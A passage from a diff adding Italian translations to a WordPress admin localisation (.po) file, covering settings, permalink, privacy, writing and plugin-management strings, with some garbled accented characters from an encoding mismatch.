+#: wp-admin/options-general.php:133
+msgid "Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed in the future."
+msgstr "Sfortunatamente, occorre aggiornare manualmente questa voce per l&#8217;ora legale. &Egrave; brutto lo sappiamo, ma verrÃ  corretto in futuro."
+
+#: wp-admin/options-general.php:154
+#, php-format
+msgid "Local time is <code>%1$s</code>"
+msgstr "L'ora locale Ãš <code>%1$s</code>"
+
+#: wp-admin/options-general.php:157
+msgid "Choose a city in the same timezone as you."
+msgstr "Selezionare una cittÃ  del proprio fuso orario."
+
+#: wp-admin/options-general.php:163
+msgid "This timezone is currently in daylight savings time."
+msgstr "Questo fuso orario segue attualmente l'ora legale."
+
+#: wp-admin/options-general.php:164
+msgid "This timezone is currently in standard time."
+msgstr "Questo fuso orario segue attualmente l'ora solare."
+
+#: wp-admin/options-general.php:180
+#, php-format
+msgid "Daylight savings time begins on: <code>%s</code>."
+msgstr "L'ora legale inizia il: <code>%s</code>."
+
+#: wp-admin/options-general.php:181
+#, php-format
+msgid "Standard time begins  on: <code>%s</code>."
+msgstr "L'ora solare inizia il: <code>%s</code>."
+
+#: wp-admin/options-general.php:184
+msgid "This timezone does not observe daylight savings time."
+msgstr "Questo fuso orario non osserva l'ora legale"
+
+#: wp-admin/options-general.php:195
+#: wp-admin/options-general.php:197
+#: xmlrpc.php:414
+msgid "Date Format"
+msgstr "Formato data:"
+
+#: wp-admin/options-general.php:220
+#: wp-admin/options-general.php:252
+msgid "Custom:"
+msgstr "Personalizzata"
+
+#: wp-admin/options-general.php:222
+msgid "<a href=\"http://codex.wordpress.org/Formatting_Date_and_Time\">Documentation on date formatting</a>. Click &#8220;Save Changes&#8221; to update sample output."
+msgstr "<a href=\"http://codex.wordpress.org/Formatting_Date_and_Time\">Documentazione sulla formattazione della data</a>. Fare clic su &#8220;Salva le modifiche&#8221; per aggiornare l&#8217;esempio."
+
+#: wp-admin/options-general.php:228
+#: wp-admin/options-general.php:230
+#: xmlrpc.php:419
+msgid "Time Format"
+msgstr "Formato ora"
+
+#: wp-admin/options-general.php:258
+msgid "Week Starts On"
+msgstr "La settimana comincia di"
+
+#: wp-admin/options-head.php:16
+msgid "Settings saved."
+msgstr "Impostazioni salvate."
+
+#: wp-admin/options-media.php:12
+msgid "Media Settings"
+msgstr "Impostazioni media"
+
+#: wp-admin/options-media.php:26
+msgid "Image sizes"
+msgstr "Dimensioni immagine"
+
+#: wp-admin/options-media.php:27
+msgid "The sizes listed below determine the maximum dimensions in pixels to use when inserting an image into the body of a post."
+msgstr "Le dimensioni elencate qui di seguito sono le dimensioni massime in pixel da utilizare quando si inserisce una immagine nel corpo di un articolo."
+
+#: wp-admin/options-media.php:31
+msgid "Thumbnail size"
+msgstr "Dimensione miniatura"
+
+#: wp-admin/options-media.php:35
+#: wp-includes/js/tinymce/langs/wp-langs.php:435
+#: wp-includes/js/tinymce/langs/wp-langs.php:440
+msgid "Height"
+msgstr "Altezza"
+
+#: wp-admin/options-media.php:38
+msgid "Crop thumbnail to exact dimensions (normally thumbnails are proportional)"
+msgstr "Ritaglia la miniatura alle dimensioni esatte (solitamente le miniature sono proporzionali)"
+
+#: wp-admin/options-media.php:43
+#: wp-admin/options-media.php:44
+msgid "Medium size"
+msgstr "Dimensione media"
+
+#: wp-admin/options-media.php:45
+#: wp-admin/options-media.php:55
+msgid "Max Width"
+msgstr "Larghezza massima"
+
+#: wp-admin/options-media.php:47
+#: wp-admin/options-media.php:57
+msgid "Max Height"
+msgstr "Altezza massima"
+
+#: wp-admin/options-media.php:53
+#: wp-admin/options-media.php:54
+msgid "Large size"
+msgstr "Dimensioni grande"
+
+#: wp-admin/options-misc.php:12
+msgid "Miscellaneous Settings"
+msgstr "Impostazioni varie"
+
+#: wp-admin/options-misc.php:26
+msgid "Uploading Files"
+msgstr "Caricamento file"
+
+#: wp-admin/options-misc.php:29
+msgid "Store uploads in this folder"
+msgstr "Memorizza gli upload in questa cartella"
+
+#: wp-admin/options-misc.php:31
+msgid "Default is <code>wp-content/uploads</code>"
+msgstr "Valore predefinito <code>wp-content/uploads</code>"
+
+#: wp-admin/options-misc.php:36
+msgid "Full URL path to files"
+msgstr "Percorso URL completa ai file"
+
+#: wp-admin/options-misc.php:38
+msgid "Configuring this is optional. By default, it should be blank."
+msgstr "Questa configurazione Ãš opzionale.,Di base dovrebbe essere vuota."
+
+#: wp-admin/options-misc.php:46
+msgid "Organize my uploads into month- and year-based folders"
+msgstr "Organizza gli upload in cartelle sulla base di mese e anno"
+
+#: wp-admin/options-misc.php:59
+msgid "Track Links&#8217; Update Times"
+msgstr "Tempo di aggiornamento nella tracciatura dei Link"
+
+#: wp-admin/options-permalink.php:12
+msgid "Permalink Settings"
+msgstr "Impostazioni permalink"
+
+#: wp-admin/options-permalink.php:128
+msgid "You should update your web.config now"
+msgstr "Ora si dovrebbe aggiornare il proprio web.config"
+
+#: wp-admin/options-permalink.php:130
+msgid "Permalink structure updated. Remove write access on web.config file now!"
+msgstr "Struttura dei permalink aggiornata. Rimuovere i permessi di scrittura al file web.config!"
+
+#: wp-admin/options-permalink.php:132
+msgid "Permalink structure updated"
+msgstr "Struttura dei permalink aggiornata"
+
+#: wp-admin/options-permalink.php:135
+msgid "You should update your .htaccess now."
+msgstr "Ora dovresti aggiornare il tuo file .htaccess."
+
+#: wp-admin/options-permalink.php:137
+msgid "Permalink structure updated."
+msgstr "Struttura dei permalink aggiornata."
+
+#: wp-admin/options-permalink.php:150
+msgid "By default WordPress uses web <abbr title=\"Universal Resource Locator\">URL</abbr>s which have question marks and lots of numbers in them, however WordPress offers you the ability to create a custom URL structure for your permalinks and archives. This can improve the aesthetics, usability, and forward-compatibility of your links. A <a href=\"http://codex.wordpress.org/Using_Permalinks\">number of tags are available</a>, and here are some examples to get you started."
+msgstr "Di base WordPress utilizza degli <abbr title=\"Universal Resource Locator\">URL</abbr> web con all'interno punti di domanda e molti numeri, tuttavia WordPress offre la possibilitÃ  di creare una struttura personalizzata per gli URL dei permalink e degli archivi. CiÃ² migliora l&#8217;estetica, l&#8217;usabilitÃ  e la compatibilitÃ  dei propri link. Sono disponibili un <a href=\"http://codex.wordpress.org/Using_Permalinks\">certo numero di tag</a> e qui di seguito vi sono alcuni esempi da cui partire."
+
+#: wp-admin/options-permalink.php:165
+msgid "Common settings"
+msgstr "Impostazioni comuni"
+
+#: wp-admin/options-permalink.php:168
+msgid "Default"
+msgstr "Predefinito"
+
+#: wp-admin/options-permalink.php:172
+msgid "Day and name"
+msgstr "Data e nome"
+
+#: wp-admin/options-permalink.php:176
+msgid "Month and name"
+msgstr "Mese e nome"
+
+#: wp-admin/options-permalink.php:180
+msgid "Numeric"
+msgstr "Numerico"
+
+#: wp-admin/options-permalink.php:190
+msgid "Custom Structure"
+msgstr "Struttura personalizzata"
+
+#: wp-admin/options-permalink.php:199
+msgid "Optional"
+msgstr "Impostazioni aggiuntive (facoltative)"
+
+#: wp-admin/options-permalink.php:201
+msgid "If you like, you may enter custom structures for your category and tag <abbr title=\"Universal Resource Locator\">URL</abbr>s here. For example, using <kbd>topics</kbd> as your category base would make your category links like <code>http://example.org/topics/uncategorized/</code>. If you leave these blank the defaults will be used."
+msgstr "Se lo si desidera Ãš possibile immettere delle strutture personalizzate per le <abbr title=\"Universal Resource Locator\">URL</abbr> delle categorie ed dei tag. Ad esempio, utilizzando <kbd>argomenti</kbd> come base per le proprie categorie i link a queste categorie appariranno come <code>http://example.org/index.php/argomenti/senzacategoria/</code>. Lasciando vuote queste voci verranno utilizzati indirizzi standard."
+
+#: wp-admin/options-permalink.php:203
+msgid "If you like, you may enter custom structures for your category and tag <abbr title=\"Universal Resource Locator\">URL</abbr>s here. For example, using <code>topics</code> as your category base would make your category links like <code>http://example.org/index.php/topics/uncategorized/</code>. If you leave these blank the defaults will be used."
+msgstr "Se lo si desidera Ãš possibile immettere una struttura personalizzata per le <abbr title=\"Universal Resource Locator\">URL</abbr> delle categorie ed dei tag. Ad esempio, utilizzando <code>argomenti</code> come base per le proprie categorie i link a queste appariranno come <code>http://example.org/index.php/argomenti/senzacategoria/</code>. Lasciando vuote queste voci verranno utilizzati indirizzi standard."
+
+#: wp-admin/options-permalink.php:208
+msgid "Category base"
+msgstr "Base delle categorie"
+
+#: wp-admin/options-permalink.php:212
+msgid "Tag base"
+msgstr "Base dei tag"
+
+#: wp-admin/options-permalink.php:226
+msgid "If your <code>web.config</code> file were <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your <code>web.config</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all. Then insert this rule inside of the <code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code> element in <code>web.config</code> file."
+msgstr "Se il file <code>.htaccess</code> fosse <a href=\"http://codex.wordpress.org/Make_a_Directory_Writable\">scrivibile</a> potremmo aggiornarlo automaticamente, ma poichÃ© non lo Ãš queste sono le regole di riscrittura url che si dovranno inserire manualmente nel file <code>web.config</code>. Fare clic su questo campo e premere <kbd>CTRL + a</kbd> per selezionarle tutte. Quindi inserire queste regole nell'elemento <code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code> del file <code>web.config</code>."
+
+#: wp-admin/options-permalink.php:231
+msgid "If you temporarily make your <code>web.config</code> file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved."
+msgstr "Se si rende il file <code>web.config</code> temporanemante scrivibile affinchÃš sia possibile generare le regole di riscrittura in maniera automatica, non dimenticarsi di ripristinare i permessi una volta che le regole sono state salvate."
+
+#: wp-admin/options-permalink.php:235
+msgid "If your <code>.htaccess</code> file were <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">writable</a>, we could do this automatically, but it isn&#8217;t so these are the mod_rewrite rules you should have in your <code>.htaccess</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all."
+msgstr "Se il tuo file <code>.htaccess</code> fosse <a href=\"http://codex.wordpress.org/Make_a_Directory_Writable\">scrivibile</a> potremmo aggiornarlo automaticamente, ma poichÃ© non lo Ãš queste sono le regole di mod_rewrite che si dovranno inserire nel file <code>.htaccess</code> manualmente. Fare clic su questo campo e premere <kbd>CTRL + a</kbd> per selezionarle tutte."
+
+#: wp-admin/options-privacy.php:12
+msgid "Privacy Settings"
+msgstr "Impostazioni privacy"
+
+#: wp-admin/options-privacy.php:27
+#: wp-admin/options-privacy.php:28
+msgid "Blog Visibility"
+msgstr "VisibilitÃ  del blog"
+
+#: wp-admin/options-privacy.php:30
+msgid "I would like my blog to be visible to everyone, including search engines (like Google, Sphere, Technorati) and archivers"
+msgstr "Questo blog Ãš visibile da chiunque lo visiti, compresi i motori di ricerca (come Google, Sphere, Technorati) e gli archiviatori"
+
+#: wp-admin/options-privacy.php:32
+msgid "I would like to block search engines, but allow normal visitors"
+msgstr "Bloccare i motori di ricerca ma permettere l&#8217;accesso ai normali visitatori"
+
+#: wp-admin/options-reading.php:12
+msgid "Reading Settings"
+msgstr "Impostazioni lettura"
+
+#: wp-admin/options-reading.php:28
+#: wp-admin/options-reading.php:29
+msgid "Front page displays"
+msgstr "Visualizzazione pagina iniziale"
+
+#: wp-admin/options-reading.php:32
+msgid "Your latest posts"
+msgstr "Gli ultimi articoli"
+
+#: wp-admin/options-reading.php:37
+#, php-format
+msgid "A <a href=\"%s\">static page</a> (select below)"
+msgstr "Una <a href=\"%s\">pagina statica</a> (selezionata qui sotto)"
+
+#: wp-admin/options-reading.php:41
+#, php-format
+msgid "Front page: %s"
+msgstr "Pagina iniziale: %s"
+
+#: wp-admin/options-reading.php:42
+#, php-format
+msgid "Posts page: %s"
+msgstr "Pagina articoli: %s"
+
+#: wp-admin/options-reading.php:47
+msgid "<strong>Warning:</strong> these pages should not be the same!"
+msgstr "<strong>Attenzione:</strong> queste pagine non possono essere identiche!"
+
+#: wp-admin/options-reading.php:55
+msgid "Blog pages show at most"
+msgstr "Le pagine del blog visualizzano al massimo"
+
+#: wp-admin/options-reading.php:57
+#: wp-admin/options-reading.php:62
+msgid "posts"
+msgstr "articoli piÃ¹ recenti"
+
+#: wp-admin/options-reading.php:61
+msgid "Syndication feeds show the most recent"
+msgstr "I feed visualizzano"
+
+#: wp-admin/options-reading.php:65
+#: wp-admin/options-reading.php:66
+msgid "For each article in a feed, show"
+msgstr "Per ciascun articolo in un feed, mostra:"
+
+#: wp-admin/options-reading.php:67
+msgid "Full text"
+msgstr "Tutto il testo"
+
+#: wp-admin/options-reading.php:68
+msgid "Summary"
+msgstr "Riassunto"
+
+#: wp-admin/options-reading.php:73
+msgid "Encoding for pages and feeds"
+msgstr "Codifica delle pagine e dei feed"
+
+#: wp-admin/options-reading.php:75
+msgid "The character encoding you write your blog in (UTF-8 is <a href=\"http://developer.apple.com/documentation/macos8/TextIntlSvcs/TextEncodingConversionManager/TEC1.5/TEC.b0.html\">recommended</a>)"
+msgstr "Codifica dei caratteri utilizzata per scrivere nel proprio blog (UTF-8 <a href=\"http://developer.apple.com/documentation/macos8/TextIntlSvcs/TextEncodingConversionManager/TEC1.5/TEC.b0.html\">raccomandata</a>)"
+
+#: wp-admin/options-writing.php:12
+msgid "Writing Settings"
+msgstr "Impostazioni scrittura"
+
+#: wp-admin/options-writing.php:27
+msgid "Size of the post box"
+msgstr "Dimensioni box di scrittura"
+
+#: wp-admin/options-writing.php:29
+msgid "lines"
+msgstr "righe"
+
+#: wp-admin/options-writing.php:32
+#: wp-admin/options-writing.php:33
+msgid "Formatting"
+msgstr "Formattazione"
+
+#: wp-admin/options-writing.php:36
+msgid "Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display"
+msgstr "Convertire a video gli emoticon tipo <code>:-)</code> o <code>:-P</code> in simboli grafici."
+
+#: wp-admin/options-writing.php:37
+msgid "WordPress should correct invalidly nested XHTML automatically"
+msgstr "WordPress correggerÃ  automaticamente il codice XHTML non correttamente annidato"
+
+#: wp-admin/options-writing.php:41
+msgid "Default Post Category"
+msgstr "Categoria predefinita articoli"
+
+#: wp-admin/options-writing.php:49
+msgid "Default Link Category"
+msgstr "Categoria predefinita link"
+
+#: wp-admin/options-writing.php:59
+msgid "Remote Publishing"
+msgstr "Pubblicazione remota"
+
+#: wp-admin/options-writing.php:60
+msgid "To post to WordPress from a desktop blogging client or remote website that uses the Atom Publishing Protocol or one of the XML-RPC publishing interfaces you must enable them below."
+msgstr "Per pubblicare su WordPress da un cliente per il desktop blogging o tramite un sito web remoto che utilizza il protocollo Atom Publishing Protocol o una delle interfaccie di pubblicazione XML-RPC occorre abilitarli qui sotto."
+
+#: wp-admin/options-writing.php:63
+#: wp-admin/options-writing.php:64
+msgid "Atom Publishing Protocol"
+msgstr "Protocollo Atom Publishing"
+
+#: wp-admin/options-writing.php:67
+msgid "Enable the Atom Publishing Protocol."
+msgstr "Abilitare il protocollo Atom Publishing."
+
+#: wp-admin/options-writing.php:71
+#: wp-admin/options-writing.php:72
+msgid "XML-RPC"
+msgstr "XML-RPC"
+
+#: wp-admin/options-writing.php:75
+msgid "Enable the WordPress, Movable Type, MetaWeblog and Blogger XML-RPC publishing protocols."
+msgstr "Abilitare i protocolli XML-RPC di pubblicazione WordPress, Movable Type, MetaWeblog e Blogger."
+
+#: wp-admin/options-writing.php:81
+msgid "Post via e-mail"
+msgstr "Articoli via e-mail"
+
+#: wp-admin/options-writing.php:82
+#, php-format
+msgid "To post to WordPress by e-mail you must set up a secret e-mail account with POP3 access. Any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret. Here are three random strings you could use: <kbd>%s</kbd>, <kbd>%s</kbd>, <kbd>%s</kbd>."
+msgstr "Per pubblicare su WordPress tramite e-mail occorre creare un account e-mail segreto con accesso POP3. Qualsiasi mail ricevuta da questo indirizzo verrÃ  pubblicata, quindi Ãš una buona idea mantenere questo indirizzo veramente segreto. Ecco tre stringhe casuali da utilizzare come indiizzo: <kbd>%s</kbd>, <kbd>%s</kbd>, <kbd>%s</kbd>."
+
+#: wp-admin/options-writing.php:86
+msgid "Mail Server"
+msgstr "Server di posta"
+
+#: wp-admin/options-writing.php:88
+msgid "Port"
+msgstr "Porta"
+
+#: wp-admin/options-writing.php:93
+msgid "Login Name"
+msgstr "Nome Login:"
+
+#: wp-admin/options-writing.php:103
+msgid "Default Mail Category"
+msgstr "Categoria standard per e-mail"
+
+#: wp-admin/options-writing.php:113
+msgid "Update Services"
+msgstr "Servizi di aggiornamento"
+
+#: wp-admin/options-writing.php:117
+msgid "When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see <a href=\"http://codex.wordpress.org/Update_Services\">Update Services</a> on the Codex. Separate multiple service <abbr title=\"Universal Resource Locator\">URL</abbr>s with line breaks."
+msgstr "Quando si pubblica un nuovo articolo WordPress notifica automaticamente i seguenti servizi di aggiornamento siti. Per ulteriori informazioni su questa opzione consultare la pagina <a href=\"http://codex.wordpress.org/Update_Services\">Update Services</a> sul Codex. Separare le <abbr title=\"Universal Resource Locator\">URL</abbr> dei vari servizi con un ritorno a capo."
+
+#: wp-admin/options-writing.php:123
+#, php-format
+msgid "WordPress is not notifying any <a href=\"http://codex.wordpress.org/Update_Services\">Update Services</a> because of your blog&#8217;s <a href=\"%s\">privacy settings</a>."
+msgstr "WordPress non sta notificando alcun <a href=\"http://codex.wordpress.org/Update_Services\">Servizio di update</a> a causa delle <a href=\"%s\">impostazioni di privacy</a> del proprio blog"
+
+#: wp-admin/options.php:54
+msgid "Error! Options page not found."
+msgstr "Errore! Pagina impostazioni non trovata."
+
+#: wp-admin/options.php:91
+msgid "All Settings"
+msgstr "Tutte le opzioni"
+
+#: wp-admin/page-new.php:11
+msgid "Add New Page"
+msgstr "Aggiungi nuova pagina"
+
+#: wp-admin/page.php:80
+msgid "Edit Page"
+msgstr "Modifica pagina"
+
+#: wp-admin/page.php:85
+msgid "You attempted to edit a page that doesn&#8217;t exist. Perhaps it was deleted?"
+msgstr "Si sta provando a modificare una pagina che non esiste. Forse Ãš stata cancellata?"
+
+#: wp-admin/page.php:103
+#, php-format
+msgid "Warning: %s is currently editing this page"
+msgstr "Attenzione: %s in questo momento sta modificando questa pagina"
+
+#: wp-admin/plugin-editor.php:12
+msgid "Edit Plugins"
+msgstr "Modifica plugin"
+
+#: wp-admin/plugin-editor.php:44
+#: wp-admin/theme-editor.php:48
+msgid "You do not have sufficient permissions to edit templates for this blog."
+msgstr "Non si dispone di permessi sufficienti per modificare i template di questo blog."
+
+#: wp-admin/plugin-editor.php:70
+msgid "You do not have sufficient permissions to edit plugins for this blog."
+msgstr "Non si dispone di permessi sufficienti per modificare i plugin di questo blog."
+
+#: wp-admin/plugin-editor.php:91
+msgid "No such file exists! Double check the name and try again."
+msgstr "Il file non esiste! Verificare il nome e riprovare."
+
+#: wp-admin/plugin-editor.php:98
+msgid "Files of this type are not editable."
+msgstr "I file di questo tipo non sono modificabili."
+
+#: wp-admin/plugin-editor.php:113
+#: wp-admin/theme-editor.php:94
+msgid "Function Name..."
+msgstr "Nome funzione..."
+
+#: wp-admin/plugin-editor.php:126
+#: wp-admin/theme-editor.php:107
+msgid "File edited successfully."
+msgstr "File modificato con successo."
+
+#: wp-admin/plugin-editor.php:128
+msgid "This plugin has been deactivated because your changes resulted in a <strong>fatal error</strong>."
+msgstr "Il plugin non puÃ² venir attivato perchÃš genera un <strong>errore fatale</strong>."
+
+#: wp-admin/plugin-editor.php:144
+#, php-format
+msgid "Editing <strong>%s</strong> (active)"
+msgstr "Modificando <strong>%s</strong> (attivo)"
+
+#: wp-admin/plugin-editor.php:146
+#, php-format
+msgid "Browsing <strong>%s</strong> (active)"
+msgstr "Scorrendo <strong>%s</strong> (attivo)"
+
+#: wp-admin/plugin-editor.php:149
+#, php-format
+msgid "Editing <strong>%s</strong> (inactive)"
+msgstr "Modificando <strong>%s</strong> (inattivo)"
+
+#: wp-admin/plugin-editor.php:151
+#, php-format
+msgid "Browsing <strong>%s</strong> (inactive)"
+msgstr "Scorrendo <strong>%s</strong> (inattivo)"
+
+#: wp-admin/plugin-editor.php:157
+msgid "Select plugin to edit:"
+msgstr "Selezionare il plugin da modificare:"
+
+#: wp-admin/plugin-editor.php:179
+msgid "Plugin Files"
+msgstr "File di plugin"
+
+#: wp-admin/plugin-editor.php:207
+#: wp-admin/theme-editor.php:204
+msgid "Documentation:"
+msgstr "Documentazione:"
+
+#: wp-admin/plugin-editor.php:207
+#: wp-admin/theme-editor.php:206
+msgid "Lookup"
+msgstr "Cerca"
+
+#: wp-admin/plugin-editor.php:211
+msgid "<strong>Warning:</strong> Making changes to active plugins is not recommended.  If your changes cause a fatal error, the plugin will be automatically deactivated."
+msgstr "<strong>Attenzione:</strong> non Ãš consigliato fare modifiche a plugin attivi. Se le modifiche causano un errore fatale il plugin verrÃ  automaticamente disattivato."
+
+#: wp-admin/plugin-editor.php:216
+msgid "Update File and Attempt to Reactivate"
+msgstr "Aggiorna file e Prova a riattivare"
+
+#: wp-admin/plugin-editor.php:218
+#: wp-admin/theme-editor.php:214
+msgid "Update File"
+msgstr "Aggiorna file"
+
+#: wp-admin/plugin-editor.php:222
+#: wp-admin/theme-editor.php:218
+msgid "You need to make this file writable before you can save your changes. See <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">the Codex</a> for more information."
+msgstr "Occorre rendere questo file scrivibile prima di potre salvare i cambiamenti apportati. Si veda <a href=\"http://codex.wordpress.org/Changing_File_Permissions\">il Codex</a> per maggiori informazioni."
+
+#: wp-admin/plugin-install.php:13
+msgid "You do not have sufficient permissions to install plugins on this blog."
+msgstr "Non si dispone di permessi sufficienti per installare plugin su questo blog."
+
+#: wp-admin/plugin-install.php:28
+#: wp-admin/theme-install.php:33
+msgid "Featured"
+msgstr "Segnalati"
+
+#: wp-admin/plugin-install.php:29
+msgid "Popular"
+msgstr "Popolari"
+
+#: wp-admin/plugin-install.php:30
+#: wp-admin/theme-install.php:35
+msgid "Newest"
+msgstr "Nuovi"
+
+#: wp-admin/plugins.php:119
+msgid "You do not have sufficient permissions to delete plugins for this blog."
+msgstr "Non si dispone di permessi sufficienti per cancellare i plugin di questo blog."
+
+#: wp-admin/plugins.php:139
+msgid "Delete Plugin(s)"
+msgstr "Cancella plugin"
+
+#: wp-admin/plugins.php:159
+msgid "Deleting the selected plugins will remove the following plugin(s) and their files:"
+msgstr "Cancellando i plugin selezionati verranno rimossi i seguenti plugin coi relativi file:"
+
+#: wp-admin/plugins.php:163
+#, php-format
+msgid "<strong>%s</strong> by <em>%s</em>"
+msgstr "<strong>%s</strong> di <em>%s</em>"
+
+#: wp-admin/plugins.php:166
+msgid "Are you sure you wish to delete these files?"
+msgstr "Si Ãš davvero sicuri di cancellare questi file?"
+
+#: wp-admin/plugins.php:175
+msgid "Yes, Delete these files"
+msgstr "Si, cancellare questi file"
+
+#: wp-admin/plugins.php:178
+msgid "No, Return me to the plugin list"
+msgstr "No, tornare all'elenco dei plugin"
+
+#: wp-admin/plugins.php:181
+msgid "Click to view entire list of files which will be deleted"
+msgstr "Fare clic per visualizzare l'elenco completo dei file che verranno cancellati"
+
+#: wp-admin/plugins.php:210
+msgid "Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here."
+msgstr "I plugin estendono le funzionalitÃ  di WordPress. Dopo aver installato un plugin, Ãš possibile attivarlo e/o disattivarlo da questa pagina."
+
+#: wp-admin/plugins.php:211
+#, php-format
+msgid "If something goes wrong with a plugin and you can&#8217;t use WordPress, delete or rename that file in the <code>%s</code> directory and it will be automatically deactivated."
+msgstr "Se si verifica un problema con un plugin e non Ãš possibile utilizzare WordPress, cancellare o rinominare questo file nella directory <code>%s</code> e il plugin verrÃ  automaticamente disattivato."
+
+#: wp-admin/plugins.php:212
+#, php-format
+msgid "You can find additional plugins for your site by using the new <a href=\"%1$s\">Plugin Browser/Installer</a> functionality or by browsing the <a href=\"http://wordpress.org/extend/plugins/\">WordPress Plugin Directory</a> directly and installing manually.  To <em>manually</em> install a plugin you generally just need to upload the plugin file into your <code>%2$s</code> directory.  Once a plugin has been installed, you may activate it here."
+msgstr "&Egrave; possibile trovare ulteriori plugin per il proprio sito utilizzando la nuova funzionalitÃ  di <a href=\"%1$s\">Ricerca/Installazione plugin</a> oppure cercando direttamente nella <a href=\"http://wordpress.org/extend/plugins/\">WordPress Plugin Directory</a> ed installandoli manualmente. Per installare <em>manualmente</em> un plugin solitamente Ãš sufficiente caricare i file del plugin nella directory <code>%2$s</code>. Una volta che un plugin Ãš stato installato si deve attivarlo da qui."
+
+#: wp-admin/plugins.php:222
+#, php-format
+msgid "The plugin <code>%s</code> has been <strong>deactivated</strong> due to an error: %s"
+msgstr "Il plugin <code>%s</code> Ãš stato <strong>disattivato</strong> a causa di un errore: %s"
+
+#: wp-admin/plugins.php:226
+msgid "Plugin could not be activated because it triggered a <strong>fatal error</strong>."
+msgstr "Il plugin non puÃ² venir attivato perchÃš genera un <strong>errore fatale</strong>."
+
+#: wp-admin/plugins.php:239
+#, php-format
+msgid "Plugin could not be deleted due to an error: %s"
+msgstr "Non Ãš stato possibile cancellare il plugin a causa di un errore: %s"
+
+#: wp-admin/plugins.php:241
+msgid "The selected plugins have been <strong>deleted</strong>."
+msgstr "I plugin selezionati sono stati <strong>cancellati</strong>."
+
+#: wp-admin/plugins.php:244
+msgid "Plugin <strong>activated</strong>."
+msgstr "Plugin <strong>attivato</strong>."
+
+#: wp-admin/plugins.php:246
+msgid "Selected plugins <strong>activated</strong>."
+msgstr "I plugin selezionati sono stati <strong>attivati</strong>."
+
+#: wp-admin/plugins.php:248
+msgid "Plugin <strong>deactivated</strong>."
+msgstr "Plugin <strong>disattivato</strong>."
+
+#: wp-admin/plugins.php:250
+msgid "Selected plugins <strong>deactivated</strong>."
+msgstr "I plugin selezionati sono stati <strong>disattivati</strong>."
+
+#: wp-admin/plugins.php:369
+#: wp-admin/plugins.php:377
+#: wp-includes/js/tinymce/langs/wp-langs.php:255
+msgid "Plugin"
+msgstr "Plugin"
+
+#: wp-admin/plugins.php:387
+msgid "No plugins to show"
+msgstr "Nessun plugin da visualizzare"
+
+#: wp-admin/plugins.php:395
+msgid "Deactivate this plugin"
+msgstr "Disattivare questo plugin"
+
+#: wp-admin/plugins.php:395
+#: wp-admin/plugins.php:465
+#: wp-admin/widgets.php:339
+msgid "Deactivate"
+msgstr "Disattiva"
+
+#: wp-admin/plugins.php:400
+msgid "Open this file in the Plugin Editor"
+msgstr "Apri questo file nell&#8217;editor dei Plugin"
+
+#: wp-admin/plugins.php:403
+msgid "Delete this plugin"
+msgstr "Cancella questo plugin"
+
+#: wp-admin/plugins.php:435
+msgid "Visit plugin site"
+msgstr "Visita la homepage del plugin"
+
+#: wp-admin/plugins.php:473
+msgid "Clear List"
+msgstr "Pulisci elenco"
+
+#: wp-admin/plugins.php:497
+#, php-format
+msgctxt "plugins"
+msgid "All <span class=\"count\">(%s)</span>"
+msgid_plural "All <span class=\"count\">(%s)</span>"
+msgstr[0] "Totale <span class=\"count\">(%s)</span>"
+msgstr[1] "Totale <span class=\"count\">(%s)</span>"
+
+#: wp-admin/plugins.php:500
+#, php-format
+msgid "Active <span class=\"count\">(%s)</span>"
+msgid_plural "Active <span class=\"count\">(%s)</span>"
+msgstr[0] "Attivo <span class=\"count\">(%s)</span>"
+msgstr[1] "Attivi <span class=\"count\">(%s)</span>"
+
+#: wp-admin/plugins.php:504
+#, php-format
+msgid "Recently Active <span class=\"count\">(%s)</span>"
+msgid_plural "Recently Active <span class=\"count\">(%s)</span>"
+msgstr[0] "Attivato di recente <span class=\"count\">(%s)</span>"
+msgstr[1] "Attivati di recente  <span class=\"count\">(%s)</span>"
+
+#: wp-admin/plugins.php:508
+#, php-format
+msgid "Inactive <span class=\"count\">(%s)</span>"
+msgid_plural "Inactive <span class=\"count\">(%s)</span>"
+msgstr[0] "Inattivo <span class=\"count\">(%s)</span>"
+msgstr[1] "Inattivi <span class=\"count\">(%s)</span>"
+
+#: wp-admin/plugins.php:512
+#, php-format
+msgid "Upgrade Available <span class=\"count\">(%s)</span>"
+msgid_plural "Upgrade Available <span class=\"count\">(%s)</span>"
+msgstr[0] "Aggiornamento disponibile <span class=\"count\">(%s)</span>"
+msgstr[1] "Aggiornamenti disponibile <span class=\"count\">(%s)</span>"
+
+#: wp-admin/plugins.php:517
+#, php-format
+msgid "Search Results <span class=\"count\">(%s)</span>"
+msgid_plural "Search Results <span class=\"count\">(%s)</span>"
+msgstr[0] "Risultato della ricerca <span class=\"count\">(%s)</span>"
+msgstr[1] "Risultati della ricerca <span class=\"count\">(%s)</span>"
+
+#: wp-admin/plugins.php:550
+msgid "You do not appear to have any plugins available at this time."
+msgstr "Non sembra vi siano plugin disponibili al momento."
+
+#: wp-admin/post-new.php:11
+msgid "Add New Post"
+msgstr "Aggiungi nuovo articolo"
+
+#: wp-admin/post-new.php:25
+#, php-format
+msgid ""
+"Since you&#8217;re a newcomer, you&#8217;ll have to wait for an admin to add the <code>edit_posts</code> capability to your user, in order to be authorized to post.<br />\n"
+"You can also <a href=\"mailto:%s?subject=Promotion?\">e-mail the admin</a> to ask for a promotion.<br />\n"
+"When you&#8217;re promoted, just reload this page and you&#8217;ll be able to blog. :)"
+msgstr ""
+"Essendo un nuovo utente occorre attendere che un amministratore aggiunga la capacitÃ  <code>edit_posts</code> a questo utente per poter pubblicare articoli.<br />\n"
+"Volendo Ãš possibile <a href=\"mailto:%s?subject=Promozione?\">inviare una e-mail all&#8217;amministratore</a> per richiedere una promozione.<br />\n"
